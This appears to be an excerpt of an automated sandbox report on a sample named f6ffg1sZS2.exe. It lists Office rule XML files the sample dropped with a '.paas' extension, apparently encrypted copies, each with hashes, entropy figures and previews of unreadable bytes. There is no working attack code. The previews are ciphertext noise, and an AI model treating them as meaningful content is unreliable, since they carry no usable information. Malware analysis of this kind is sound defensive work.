Preview:	<?xmlc....RZ.Q.q.Y]b......c.Mpr.n.S.8.v.B^J.e....?...y,..... .9<...@4..k..Nj..:......:..g3...oj..3..;BC.F.h.8.g...U..-......i...9.O....}....H....H aI!C~...V....9&....Ew6V7..C.:..O2.S.#.~!..U... .j.p.....\..Yy.U.....K.K!Pv...I....@........[..D!\.@c..}N...p.=.i..b..\#. .ME<...#JQ...E........=/..q..B..h.S..E[vR.F.\|U....8#.....KN..D.\.u......:.....`.u3)v.B...z..m._.......yg.W7.f.].!...c.....6&m......i$...t.\|5.._.A_.M^.Y.N.z..`.?...-kg..Y.].+h1=.....4...9Q.;."....Y.aL.)....K..Y0..Q[.F.....]P.i/q.I..l.G.......D8p+..yC....X..jE.A...o....*\...!vt.?.S.\|,t.o.VU.>.....G3?..6.B:.?....[04n..d.H^.,.f..m../U.g..!.:YO.!y.....!/..N6..=.Z......,...q..)....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.750359827532768
Encrypted:	false
SSDEEP:	24:MDGuva1lll8Gyx/0FzDcLdeWGjeLwuJbD:KxvafbcpPGjePD
MD5:	39B7EE866C40BBB781B8E69E57E207E2
SHA1:	A236B9BEB0A8AE77CC9A9F2309CD9CC7A9F78B9A
SHA-256:	FA644F9129ED926C055316A16CDDE61BD86A116C70C278756909F19AD0E08C76
SHA-512:	154272940D0A2D631CAF13018474143B3B09F00CD88CC3B67A72D302868839E2525E81DAA93FD9E49CF59C9FA286CCC8F3808A5860E5FF71F9EDD9C8FDB4B63C
Malicious:	false
Preview:	<?xml....... @..j6a..y&7.4...J...&Lr.Z..u#(N..9.r..K.5.`~.=).=}.0&N....g.P.A...V.....q...n.C.-....a....).NG..G..3y.4..C...R.d7g..9?...........;.G.zZ.+17...G.q..M....A"z`M.-xc...2.`.eKgfA9...V..oE..:.dh 7c.....Q8..QJ.....r...58ks..G..R^.'...D.5..3...r...v...0....S......4\.2.j..D}8.'..i.X..;AD...g.H&"bK!....6..%K..n..g.@.L.gf...w...#.u.2...........n......4..... .."aS.Z.4._.@.....\d.].......B...6.........A.Z.dl........jK..j.....F..4.W.h,....&../O.}..)..n: n.....I.#......_...t\|_..{.......9..Do.`...Q>i..M..[../..S...p...R.7.7,..IH..l.xn ..../$U(..4.u....T........i>.SZ3.=...<.}/....N.......}...uy.z/....`]..$....~.JH.........A<4R.6......gA..C.W6...D.P.... .).*..D.9$=V.~.[.P...#...W#...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.730482675229573
Encrypted:	false
SSDEEP:	12:Sn1Lm4z3pgak9bWY8rS7l8i02iCX+lYRXkueMt1iJxkS2cii9a:2LP2MY8G58i0FCX+qX0SAsbD
MD5:	230FCD779FF22AA1EB36896B093749D2
SHA1:	2DA6013228EC5CB619E05F96D06C47333A7B1E11
SHA-256:	4B0AF21F3877B2201E4424B36FDCCD406DFF86F03EDA386847E399959B43E156
SHA-512:	61839BEF636CE9EC89D31ACED8CE1E9101880EDA5830552DA31DBD006CC62F6509E892DEEB9364F8622034709F404D4D72F1A34A0B430FBBDCB30AE484818FFB
Malicious:	false
Preview:	<?xml..".E1..@&.\0..m..&....+u3@.......`....\< ?.w$...j. u..z=...+AO.)..lB4. ....CH5.4CHV.>...2o.../....'.?(.U^i..Z.k....&}xEI....yL.]..h.Q.......&mp?...7n.^..w.......)\|xH{...#.e.......S6J3.....bb...t.nC).X..0V...-.C.q......1.+.........P.nt.&w....b.n..wb-.{Oc....7a.~.~..!&q.....#......\.5!}dg.da{.........{...._."E.Q.u.....:.4,....p.2..^Ps.}.Pj..w..4.*......o.Dd....3.........P........y..~LZ.....n\X_G..B..D..T.{t..!o.Ge...........<t :hY.G.c.6..,......p/_..#.Y..PWKX6B...e.[..\.r..@..XA...08..5^.D.uj.c5..]..'\.......M..n....]...,....."jF.. ...........8.O..p\..=....[ga)&..s..<.W...g..u....c.....V,...?s:..j..@.....C.....Q.5....<LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69359721779184
Encrypted:	false
SSDEEP:	24:vNlLB0NRqrxCFyPAuc4NGgYB2UJFGVrRbD:vNh0RVIbYB260VrBD
MD5:	6C1F7C0D162D72D71A00AA24869D10DC
SHA1:	4F8D0E2131C09F2EB1984C987476E1233E13BEC1
SHA-256:	FD8E0F144BE8277F53D4A9996A075ECD794B94CC10E72497BBE293B8C411EDC6
SHA-512:	5BB5C2BF8162CD0478FCD87266F552B133B8EF72B24353E429EA444E46B0552E84D4895171062B1126413A67AE353A9CA876D8F88131A1A9A7C9505AA4E83FA3
Malicious:	false
Preview:	<?xml$....d..QMBH...=...l.7..;....q.H...f..q...-..._.{2:...S.F.y...P.{1.g5v......]9UO..U...Jd.....6F....[?u...:.k=VV..a.(..J9.L.....x.w.7P5/.......x...]=..gt.Z.+.N.o}m.El..C4U.....$...'c2ma...M....Y.T..&..........aI0.9.&..=V.._..........A8jy.._m.:q`.e..{,....:^.....j,u#..\%>0.`!.w2.4.3....(.wOV.E7l.o.x.......sI..pS.......&....v.,X9.{..r..?....N.b.E.qO.M..2.")ND......!..Z.g...C...0.].+...H......F...B..S...og.T..t).T.I..Z.m.%&;Z..DM}wU.U4A....I..<........\~..E=* ... ...e.p...=.B{.[2c`.(.....6FG!H.=wi``..D.n."b.=........p2B..a..d.b.tF.MD.p...Iw...&....h..a..P\|...\|..y.$;64X.3....!V.&.o.G....8.ako./cq....J.l(t......".y..:.6.]...4c\|&...]qo..;u.b.H,..0^;.6......Up(....x......1[.9.t..n4BLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.659162338607348
Encrypted:	false
SSDEEP:	12:i/Weqv5MVGQYB2n0L0OkcaZWrxh1bn84+j3jbLwi+IddD1yqFUYnHtfyH96Haihb:sGVoLcSQxh1r84+bj4f0YqFZHsd66ihb
MD5:	198A436CB58C25F19106DF49B9829284
SHA1:	F7D266F7F720AB11BA0AB35C1863AD36EDB5DC11
SHA-256:	BA54F7ED6A1543CE93B969692578F5DEEA20A3C23BA8261CD5E5A16B6B7EC84B
SHA-512:	9280D6F053D890A55C39B1441F467726959DA62B17360D14A42D8C1F1E7A77A2E1A1F8BA7D6A25D64896995EBDF5EBE0D9C2B511F03C1B93DA1A5D12028F8C57
Malicious:	false
Preview:	<?xml...U.@..t.d>.U.jk1.?~D"hsI..!=^.>.{B..-tP.a:..2...^.!....e..,...<h..z..f.W..P..8:{..@.g.F.3!dP.!.[.........i.."9..Bm.`.U.L..4Kn^.0g.A7u.G...;...{.&.'.......L.CTJ^..h>.\%a..{Zm..p.;.d.t...dX......4...[.tStw.s6..X,p...$..z.....P#L.....;jj~..k..O^w..Ut...a.j..Z.G....o.@Q..5@:N.!.6....Y]]V...+V.K.....-Y...%..8.......`...y7<)h...'-\o...&.....p.:.6.X......vcI..p-'..Q.S.IR..cK.4.EAG....O.....:>{....`.....k.&.....p&.@..m}.Os...c.J.s..c2q.N..../tAcK!hO.G. ..3.}.m.LA.....!.h.@hUnF.#7..[....{...J......,.s)..v...iu1B.FRa).D...0..O8...\b8%...}H...j.'ZA."......C1.7.`e.:~....V##..&.E.....k..Q...).....D..............4Y::..K....s!...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.7287850311507515
Encrypted:	false
SSDEEP:	24:ARdKh3pAotqVoNTbK9PbpkHno0Qv+8n9iB76q9ybD:5hZnt+oVmPCnoDTn9M+TD
MD5:	5F10CFB6AFB29B91880DBB27AB24045C
SHA1:	6DCCFD997D371450C5E2909D35BE663A16F15E40
SHA-256:	6AC2EDED0DC11E9C3F306A20771539B1A0D2D1D3CE88172857155E8B59702620
SHA-512:	D4FAE5483165C9879A928064962CBD0722B868D209C3315F5A97B10B9CA474ECA67C6D90FDAF93B5DE53A3FB98D615D560B70FDBDF4602AFFBD6A602329E57A9
Malicious:	false
Preview:	<?xml9..C.hzXZ....._N.{a/.IV..a./@.^..............s.V..R.a.......X....u.).3...2.$.;l....r^.....o.....ENo...a.V.k.M,."b.;.l...~-..x,X.aK..e.).=a...m.!...F.R.U.....(v....cd.8.4C..;.W.........2.\H..u.eV'b.r...`..7.u..<.,..lA..8....'3..h.(..3...y.[m...b:..P..J.Lf......!.:>..........b.T.Z..-...C.R...i.&..%.kP.4N....R'..v.....7..Lz.q.T.g...3$.......N..oa..W...+l.3X..X..Q...>..<..:.4....r.m.Y....;..Y.g.o...)?.+/.v]..#......N..G\|...gb..&.N..L.....M....XE."....]...3....\|..k/.QU......V..Zk..C......w..!"...\|.......:.....[*.Q..$.l.b...\.c.W..Y.7....NrW.B..C\|..}.U/.k.8....P.-D.C.@.jS'[..9.6?N+.].O.e....io'E.=..#c.o){....H.z..7"....EjJc.M&.dp)>....-.....6;......L......p.:]......U.E...@...x..A.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.708969070729708
Encrypted:	false
SSDEEP:	12:aScmkFTHzAwdNCaAEu77KtNdYJW4zDITxY50JmNRXdrchS+2GPfY7S2cii9a:HcVTAwfCLF7+6XITxZOXVGPfYbbD
MD5:	3BDE9CA8F2D1318DF1585BC7B7C50244
SHA1:	78C96EB67F12E0C613FFB596A0A6385F37D2FB9F
SHA-256:	9E36B888B0F1E6AADD920B2C924285CE96883E9FD9A60B4DB11FAAB9F84BD5A4
SHA-512:	18B737BC0ACC6FC05B8B602F00CFF970D3233A5F2B1B3FAA07EA43B554E417F5C167377D2499A336EA2FD691B12943ECFD70A2BD5A4C587175A1494857B0C389
Malicious:	false
Preview:	<?xmlS".h@V.OT....1+..T&.....9../Xr.>hm.m.8o.Cl..N`~..n.z../p..Ol...W.y....a.~..D...Z...\........wP.{..F..'.c..;.....P.9...........L.(..y...Kw.A.....d7O).0`Y&..g.ah..."....d.>8....J../..a..>..~....l..}..H.U.....Ip)WYl,. .K.c....a.9.d.yY ....eSs......y{(.M,........d..0f9.Hk].R}c~.....X....R...X_:....i....a_M.2..}^........^ .......e.%.]%,~.P.EE..fF..Zm.f)...3.g...KL.&......R....<..t.<%.U_..>.F.(?.q.H.o..z#..?+.$R.....d.....s.R... .t...'...3.....,..i.t....;.L..A..F.;..F...Ky.B......./.....I.Ft.bE<..r.....".........e..F0J.w..1.<{...N..Z}...X..e...b..%.i...^..p#..QSJ..AJz..._...Fz.................L..&.%\|.....D..lp..N.R..<..........,.kX.'0....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.733610629186287
Encrypted:	false
SSDEEP:	24:n2rnY/1l7X/SyjEYPnMiTgQwmRus9UP3bD:2w/SK0pQwMyTD
MD5:	52F17A5E011174C20FC6E9BF419DAA84
SHA1:	84EA766CD5C710E3E5A21966F781832D864F8743
SHA-256:	CA6BE18F0C3AA75F99D144BDBFF3E2D64BEEFF7A9371678C2E0F931A05A21E54
SHA-512:	6DBB1754B1631ABBC2F22E847727DE9CD27480FB5E686898673167158C9B6D979F4A5A05F019133CDA34C94CA8A6F8477A9B75B2405E5CDC38ADE91108873635
Malicious:	false
Preview:	<?xml2..z..)z.j.&..CHC.t..+..L..!E5...{...m.....T-v........V.gx....].M..N2.w...\........\..U...b.e@.]4 ...Hb!&.."7..0z..1.......a.$CF51:...^..@....J.&."vS..6@...A.o..............i........J.w...Z..H...\|.i.{..!1.U....q.?De...RUe.cl.,;...0&#..sJt.#.s.z......\|.T.....%N}.T.q..W.2..P..f...{L....N.k.?..?.l35^U..k.[..K#...fC..D6.W......1.#.}..4.$Z.b..C&..R)3...].G......F@.H.....J.q...9+Y:n.5.....B.....H.U.u.xl....t.`..s...I...E..1..EC\|....a..j...k.z......&.9.[..VoF/..{.0@.a..'..Z.D.:....}.....@m._.......?.i..5.......P.........a.H......dW3..o...........d;B.q.m..,.Jw......kl.-...X.~D....E". y.J...;..(\\|...I.Sp..S.\...4..@h...^.77..F..7Y..J....q.xd...\|...1.3............c...i#%....4e.'..^Z.l..[...h.!LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.682011694157936
Encrypted:	false
SSDEEP:	24:9zKXBMp7ISwH1nZSkhTLoUsM8OS1XIbI/AbD:9zKXm79wHjSwoU78OnbbD
MD5:	D0186CEB9496C4F89DCC25ADDC2E026C
SHA1:	7E66E08C8F865C83AD7FC3751F9BCBC78E8B8341
SHA-256:	87D13E57E65940A7F211A84C6F4A1AF5556DD0F12DDC1EFBDE4DB114CA91D137
SHA-512:	A1D85CFEB915CEDB53798E8CD612550E502850A3E2C8D3773DF81FACF0B888A2CC585F4BCD8044F5C93CA88C603DC031E21EB5B51DEDAD878486A44E5212A094
Malicious:	false
Preview:	<?xml.H,$..B.*M2QcWzp..n..{...I.L....=..f...>.n.P.>;..,w.+...i.)...f.:6..#..~./....ff+..:=.../z.W.k........E..G.9....;.@...&.....:..b.h...c..\.B_......(..,.M....'yp.;.......[.#...FN....(.......j..L.!./._@H.Sn....f..c.UD......u.5.^.:.R..17...6..AW..d$L..o..}m....cfw.j+M.S/D...=....j>:e...:)t.;f.6...........tdg.....`f....\|)..>.GO..7..[.a..xYN.aA.I.. ..e..........\..8.....2Qf..(.....Kh!0...a......:.......w..N....f.E.krfX.Y....R$t.N.....b.4..m..So".....$..wC.Qy.7.....-..b..M>6...c\|q..0....nX.#._._..d'.F. 005..HE.....#)..F.=.....7....==#"],I}..>..s.g.....KF.....N.+v.!O.'..hJ..)(..y.+.^c\|.#.........WNF.z._.....>V.G.(....=.d.._^...m....b.".n.....Lj.9x...>$ .=/.;.....q.BJ...h.t./..k....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.71598526753038
Encrypted:	false
SSDEEP:	12:VjG0kdodnngzQ10KO39FhwLo/MYzvKBUqwensMwnwQstsKD6gPlOtIVmuKH9T6jH:c0AuH1rOt4gz6UvenWQt5LNKdTo8I1bD
MD5:	ECB0BD884329E1B23E27D097ECCB7EFD
SHA1:	7E8F4D2B8007766B3DCE1FF6130CCAA8768A8735
SHA-256:	618CEC4F1337896411DF17545072BE25E2ADDC0E9FA8B7A0498D33201BF95468
SHA-512:	1C6CA829A1A75DC66E81E1C54C4FFD60F03AFBDFCCDC8FA9515EB85B838CB4538918DDFC28D4006CD46B41E586FAC11CFC898B1BE4FB42BC009C098AF13465EB
Malicious:	false
Preview:	<?xml.........xPf.........Z.h..A.H.JA.B=..6.C?.:...[.Qj:..$.8..7.G.@..=...R..Z6..,.S.~....ph_.l..=8......l.5Y..G3..a.K..Zhy'_........y...Mtv.G...'...%..EH..b.sueG.'s.IN.L..^..t....(g.=.~rX..Y.L[6ov.u.7sm.X....t6...W..i.Qn._..C.2k....... .e<Z..8..r.,..6..V5....'.S<.0}h....^iN..Z.G.]%.Z...\|w>..p..k...~+......g...P.,.N.....k..... 5p.x.Z?.L{..yB.Ef.......+.7n.M.._?.?rn$..l..Th.,"{..@....B..'GTUG....L......l..o$=.X.A......+,q.R..3nz...QI.....\|H.....AB@.:.}......&..w+......F...`0V.U.39A.....>=.i8.....U..r.W.......1=.N..........6,..$Z...............GKH..}H......,Y..r."{.......x..{q..A..p.U.60T...zV..<..P.c.].]....I9.3.Ee...+b...L.........".Eq.......+..".....MT9...o..BtlwpS.J.....w...i..Q...rLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.7175498731121825
Encrypted:	false
SSDEEP:	12:cYP5xttn88gaRFamey3DapkA7aZ8HJCGPaRhJ6a+pDGgkKnS2cii9a:cYLtVLga79/DapkAuZYCXzJ6nbbD
MD5:	3D9349CFC9E97A5873FA28919BEB33A9
SHA1:	0586925EEB290458BB823EAF2348E3AE8479DF47
SHA-256:	2A8E75AFCF9F6FA82070F7DBD3ED2D3C90307629840E23D743CCDEB29A4D3C87
SHA-512:	F3A9890115E068765A05BF00C699A8F571F3D7A10BB8EA664DA17D26E697A25AAE612108F0F2187B685481E5A41EA23B8372D29F70D65DA0AD5CD3CDE1B21801
Malicious:	false
Preview:	<?xml.p....S....p.G....?.3Nl.O.X...f...,8S...PrV.%....&..i.]...b<2.dF.....9...K...0X.......\|..T.>..V...F'....^...._.h.7.6o...(..Z..2..(.I...?0.V.p.N.a......%.N.d......M..R........N.$[..o.Q.....Lbu{7..Kz...W...&.(...~6H..x........u....FL......g..b..=..+......tG.^R. ..V...f.... ....r.E.3../...;+7...~...s.......P<d...7...5$....].._i.._..0... 9I....N.........Z......c..}Ao9...).:PQ..c....8J.".....f.h..}b....Y.\|.?....H..x.......KC..3.2W.z.......+....yY...$HJ.r./.... .l.4J...e>....R._.X^/F...X..36.'.Sy..g.)Z.".xm.....@..b%xW...kT......Z..[.KHf...*)..b..#.....`cK.........e.P...G..9>:....D.J....Y....._.P...{...e.;..j7.....j/[>xl!..O..[{LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.731576055478534
Encrypted:	false
SSDEEP:	12:zQgS9CCQubEHSbiylNZOkTxDBfbcZRgRsBhq8EeUd7dfywF9fMggttS4w0UV4S2X:Ur9I6EclTxDBfbcD5hG3ycOgklUVgbD
MD5:	4BC6A78BEE889C59FD404D82E5055DAE
SHA1:	5738F08F0C51D8034A51AF0399A4F5A2024DA28B
SHA-256:	36FE5359BA9E618FBA52E19EAC3037EBBB16AD15A00BB9B5C8F19360B86E2FEF
SHA-512:	8B0B39886077B0FAA3056D8507D9281715993CD6024DFCE2517B41914C5BB879581401FA812FAA22F42989AB1D725398986B6FB418B0F28EA430F82BDB02255E
Malicious:	false
Preview:	<?xml.tM....#t..H.#V%H]..?.V.S..]]......Ad5..s..3?.hD.v.?k.0O.9.w$~\|...r...9.......}Y.c.Z.DaV.di)#..pT.jS....$.....j.y. .$&.@'..[.l....F*W.K...>..........$...z.-K.j-.S.D\n..Mj..6./(.V~[5.....!.X+R.SG..r.6`..G..H.&"qH...gxep...&..1........TT.&`l;...x.!f...;.'..O8:?.8.xq.T5.....X.7f......MoX..P.x.Ms...8.v...jX.t....%.7j=..bk+']...o.?.x.&%......U..>n.Y..P.-F..S...D..^f!...WXF\....Q ..[k_D..Tf.}..u..,....\|..\.8......K.0.....,..f...i.qc.H]]K.k...S..5.#.......=.YpARy.a8.2=....;z.x9.9.;k.Pi!..H..Be...../..=.....P...V.j....C..~.....w....~....4...6..H..~.bI..-.r1....z....Ax...sw,+..+.pf{Y.VW..._..j.}....\|\|/.r..... !..m...4...o.h.....(t..h.X.D..~...Y[..T._..S.,.w.\..3.(..h...=....d...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.6678914066991855
Encrypted:	false
SSDEEP:	12:AyKdTq6IwtZbqcZ8R0k/d0pASr1SSORC9PdtcZIOFMYj6909tv1YWOhKHsF8Djhx:SmrqZbLZ8R0k/aAGSNOPdt4/FXs071Yk
MD5:	DF4F8B57739138CD23871EF1FF93C267
SHA1:	724112678EE5E2567B84D5639F1325CB16F59A2F
SHA-256:	7C3124814089813ED9A5964516C694D0F26F68C1CFA99501037584AC285126F4
SHA-512:	64E7B29537B86C2DB8A3246C382980B8336240B028D18C77B8496030746349DA0AAAB868737353C01C32060A9EBA493B2E165739EDE163211F816C42F26C215E
Malicious:	false
Preview:	<?xml.....H.....(O.. F^...wu...W...(`...=.{.mWY...n..p.7.5.L...S)n.\...w>s.a..I..x.h...........u.@..d.wi.....[.w@j.......C..+...L.mv..F....%O......>..y.......a3...r....L.......[k...e'..f.j...I../.E..y...W.om0........P..6.I.Y.7.M......a.3..f.R.:.g..;].......L.xx.KT.a%Q?r....j.......r....[]>(..@.n.....K....m.oD.l(.1.s7.U.gE\|..z.a.....P."Y..O...... .. \D..^19kA3...7.5...cu.T...f..t.U.+.dK..5.....qC&A.p...L.R.s._..IJB^X.puJf..P..PE.NE....,......,.T.-"H.....S....zv.d-....ZX.`..g..ei..&.=V.6.y..2.l.2p.;..t.s.....B '.D.A......l.......0..05.....n."fK7.......c~.ad......\|tI3.~D6@....0..D.T..6..[...]...........(s..o...l~\wY..E.-..i.Wv.PxLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.768444475118589
Encrypted:	false
SSDEEP:	24:krLj2t+E3LcJq9cq24e/PoXt7MKRF2XbD:gGt7aSca3MKRaD
MD5:	AA96786196943EF3166A5BAC017CD545
SHA1:	16BE5A54832728B589A40DBCF0187675A4214D38
SHA-256:	F6A40F21D337A31D633FBD01547EACA59F49AFC363598FE4D46392A03BE9F424
SHA-512:	D8C10FD3469179C2B82EE46E4BD64490554031AB770E1A5F7BE1C643AA2E90CB0DEB4B95DBA4EB0777D1617919D52022AB5922372BD351E17FE54B347B427AC2
Malicious:	false
Preview:	<?xmlnm=..t.c)Ay.juc..[........U....Z W..=..5SxW.!.....2...&..........[.......g.+..ZF.c..0..Vh}Hic@p.....-.....:..u.....aO..~j.J...&.%...i..&%CGI.baRX.vN...6...+p.7..Iv....Y5R.=....N.m.qA..mn.].T.A.^...L......^\|(4.CCbM.1.J...sE.yv.......^.....l......~x..L.n.....+..C.-.{Y.\|i...o{sX..X..,5Fj'..\|Z^o+l..I.. .I._y4w.......)...}.K...r.\...f.I.{.S..J<g`.1b..S..Jv0.O.=.%.f..7.....Uu.e....D.Q..d0,W..@xS...`p.i.X.S<..{...e..\......q._..z.H...!r...en...q.....@.......?R......lW.d."....>..u'...qU.s...5.9..z..".;V.,.;QQ.>.Q......! .B..>.....R....wV.c.&...S..3.....'.....\|.-u.Q.].6........+.UXR#R!.. .=...x...o..^\| .^....z{N..(.T..r...N(. x.q.5.tw.?..0.U.. .5....&.......UV....q.\|.YQP.?G..7..r....F`u..G2y$....r.......efu.....&..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.744995138100194
Encrypted:	false
SSDEEP:	12:o1YtbKcsItJgDVtp/YXkwXUy6YCtuMAhmReZzT0bxqLHgS2cii9a:eY4bOJg6XkIUy65nYm4EqsbD
MD5:	5514A059D56505EAAEA828A76342A7E1
SHA1:	3976AFB54F22F8EE9CAF20C0BD6ACB0709482467
SHA-256:	9B659000EFC8E914DC40F667D01BF83036B30D223F9B2D49B62D2D07724684ED
SHA-512:	F27AF12EB3FCBF8C9DAA42A802607799715B09507F73BDB02C1EBD9F5BB41C9C41A291A73BDCD2EB42200EDDB32E144C13506D3C9C1BB91264BE32345070F618
Malicious:	false
Preview:	<?xml....FvS...@.b.Z1;.S.h@'..&..v"...._..^.....NP_..S..J..e....9R...Z.S..PB.w`]Z.. 0.]...D.g.Gtf....y.6..0A.2\?2.<G;.....^tJ.....E.g..k.=;.........o...-......d.W\.....-c....PK....v.c.../.S....el..b...kS......Bc.@..{..%..jU.A....<.......[uhO.+2.U.`....+....m...s..\m..@.pV.&..%......d.'.O:..+.U...et.....C...I.,^..X...Q.2....:..MX..W...v.....\%......s.Wd..}.Y.....`j....-9....w...s....n.+.(..<e..(G...!>......>....FyQ>'V..tS).....K,.g..f7u..f.>.....k8.(.vZMl.o./s....5.$...R.....q...4K..1.....E...0..~....Y..{}>k..%.N....P.T..9d0A.j...v.A.&..'G^.z..6..=ndI.......?..%.......... !......"...V...f5-H...up.y....j......MR.S..XLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.767993721166497
Encrypted:	false
SSDEEP:	24:p4HlGKpkALjo/bHE6vLK++h/DitV3Pzwn5cm0xbD:p6lGIk4Ubkiu++h/DwPzgOmQD
MD5:	AC05A32ED77A115974B548CCBEA0CB7C
SHA1:	077F9B39009B810AA671EC53114424062772116D
SHA-256:	F70BA8692C069DA1272BAD66BC6B669427A7BF7B4762CFDD332DDD9013FDB02B
SHA-512:	51B954FC3EA6C824A95CAEB9254F12C53D005D694B2C808FF74EF728F2C8F59F642A6090018E259E8C9468026FEBBEB365BA74CF94DF084559D2A0F23EFE4938
Malicious:	false
Preview:	<?xml..)...1...2H....i.....E...~..^{f\|.sH..-4R.L@.....}..\|?.{5.oM1.B.p.4k_..At.0..x....=d.....G....Kct.#.%S..@v...Uy..HW.......E..._.,..V.$.qY.Rv.l...K....u5.\|KT. ..WL..#.s......l.K.....]`o. ..S.<.N...r.....Z6....M5.:...aO.f.ks...\|...{jU...T...Na..qV3!../.....V=.*`.....(.....G\;............1.c...L.h........x.b.T.5Y0...../...j.......- .....Z..L.;w.!.'._d......g...CI.;.6....}....+..;...S7.^.S....FW.R.<.......:.......w.y........./...D...;.I..I..v.pER..A..1.......i.W.p.....)...7;..n. ...2.-.I....q.0. .JdNjL.3.m.....p..!O.x~Ev.a\|..H.F...zt..R...T/'!e..{,T..d...J..~dQ..P..R..8..Y.....2..p..OIH.#O.......x...w...P.p..Z........lx...]..~..ehAp.....{5....@.................e....%......KLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	741
